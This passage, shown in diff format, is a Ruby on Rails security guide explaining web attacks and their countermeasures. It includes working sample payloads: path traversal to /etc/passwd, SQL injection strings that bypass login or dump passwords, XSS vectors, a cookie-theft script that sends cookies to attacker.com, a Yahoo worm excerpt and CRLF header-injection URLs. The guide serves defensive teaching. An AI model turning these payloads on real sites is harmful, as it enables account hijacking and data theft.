+```ruby
+send_file('/var/www/uploads/' + params[:filename])
+```
+
+Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
+
+```ruby
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+```
+
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+Intranet and Admin Security
+---------------------------
+
+Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+
+**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
+
+**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a [...]
+
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

+
+Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+
+### Additional Precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+
+* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+User Management
+---------------
+
+NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
+
+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+
+```
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+```
+
+This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+```ruby
+User.find_by_activation_code(params[:id])
+```
+
+If the parameter was nil, the resulting SQL query will be
+
+```sql
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+```
+
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+
+### Brute-Forcing Accounts
+
+NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
+
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
+Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
+
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
+In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
+### Account Hijacking
+
+Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
+
+#### Passwords
+
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require [...]
+
+#### E-Mail
+
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+
+#### Other
+
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If [...]
+
+### CAPTCHAs
+
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
+
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in  [...]
+
+You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
+
+Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
+Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+* position the fields off of the visible area of the page
+* make the elements very small or color them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
+
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
+
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
+
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_.
+
+### Logging
+
+WARNING: _Tell Rails not to put passwords in the log files._
+
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters fr [...]
+
+```ruby
+config.filter_parameters << :password
+```
+
+### Good Passwords
+
+INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
+
+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
+
+It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
+### Regular Expressions
+
+INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
+
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+
+```ruby
+  /^https?:\/\/[^\n]+$/i
+```
+
+This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
+
+```
+javascript:exploit_code();/*
+http://hi.com
+*/
+```
+
+This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+
+```ruby
+  link_to "Homepage", @user.homepage
+```
+
+The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
+
+To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
+
+```ruby
+  /\Ahttps?:\/\/[^\n]+\z/i
+```
+
+Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
+
+```ruby
+  # content should include a line "Meanwhile" anywhere in the string
+  validates :content, format: { with: /^Meanwhile$/, multiline: true }
+```
+
+Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.
+
+### Privilege Escalation
+
+WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
+
+The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+
+```ruby
+ at project = Project.find(params[:id])
+```
+
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
+
+```ruby
+ at project = @current_user.projects.find(params[:id])
+```
+
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
+
+Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are ev [...]
+
+Injection
+---------
+
+INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
+
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
+### Whitelists versus Blacklists
+
+NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
+
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
+
+* Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions.
+* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+    * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
+    * But reject malformed input
+
+Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
+### SQL Injection
+
+INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
+
+#### Introduction
+
+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+
+```sql
+SELECT * FROM projects WHERE name = '' OR 1 --'
+```
+
+The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
+#### Bypassing Authorization
+
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+```ruby
+User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+```
+
+If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+
+```sql
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+```
+
+This will simply find the first record in the database, and grants access to this user.
+
+#### Unauthorized Reading
+
+The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+And now let's inject another query using the UNION statement:
+
+```
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+```
+
+This will result in the following SQL query:
+
+```sql
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+```
+
+The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
+
+#### Countermeasures
+
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
+
+Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+
+```ruby
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+```
+
+As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+
+```ruby
+Model.where(login: entered_user_name, password: entered_password).first
+```
+
+The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
+
+### Cross-Site Scripting (XSS)
+
+INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
+
+#### Entry Points
+
+An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheade [...]
+
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the w [...]
+
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date a [...]
+
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/).
+
+#### HTML/JavaScript Injection
+
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_.
+
+Here is the most straightforward test to check for XSS:
+
+```html
+<script>alert('Hello');</script>
+```
+
+This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
+
+```html
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+```
+
+##### Cookie Theft
+
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed th [...]
+
+```
+<script>document.write(document.cookie);</script>
+```
+
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
+
+```html
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+```
+
+The log files on www.attacker.com will read like this:
+
+```
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+```
+
+You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha. [...]
+
+##### Defacement
+
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+
+```html
+<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
+```
+
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
+
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+
+```
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+```
+
+##### Countermeasures
+
+_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
+
+Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
+Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+
+```ruby
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+```
+
+This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+
+```ruby
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+```
+
+This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `&lt`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended t [...]
+
+##### Obfuscation and Encoding Injection
+
+Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
+
+```
+<IMG SRC=javascript:a
+  lert('XSS')>
+```
+
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+
+#### Examples from the Underground
+
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+
+The following is an excerpt from the [Js.Yamanner at m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
+
+```
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+```
+
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
+The MySpace Samy worm will be discussed in the CSS Injection section.
+
+### CSS Injection
+
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+
+CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+
+MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
+
+```html
+<div style="background:url('javascript:alert(1)')">
+```
+
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+```
+
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
+
+```
+alert(eval('document.body.inne' + 'rHTML'));
+```
+
+The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+```
+
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
+
+In the end, he got a 4 KB worm, which he injected into his profile page.
+
+The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
+#### Countermeasures
+
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+
+### Textile Injection
+
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+
+For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
+
+```ruby
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+```
+
+Use the :filter_html option to remove HTML which was not created by the Textile processor.
+
+```ruby
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+```
+
+However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
+
+```ruby
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+```
+
+#### Countermeasures
+
+It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+
+### Ajax Injection
+
+NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+
+If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
+### Command Line Injection
+
+NOTE: _Use user-supplied command line parameters with caution._
+
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
+A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
+
+```ruby
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+```
+
+
+### Header Injection
+
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
+
+```ruby
+redirect_to params[:referer]
+```
+
+What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+```
+
+And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+```
+
+Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+```
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+```
+
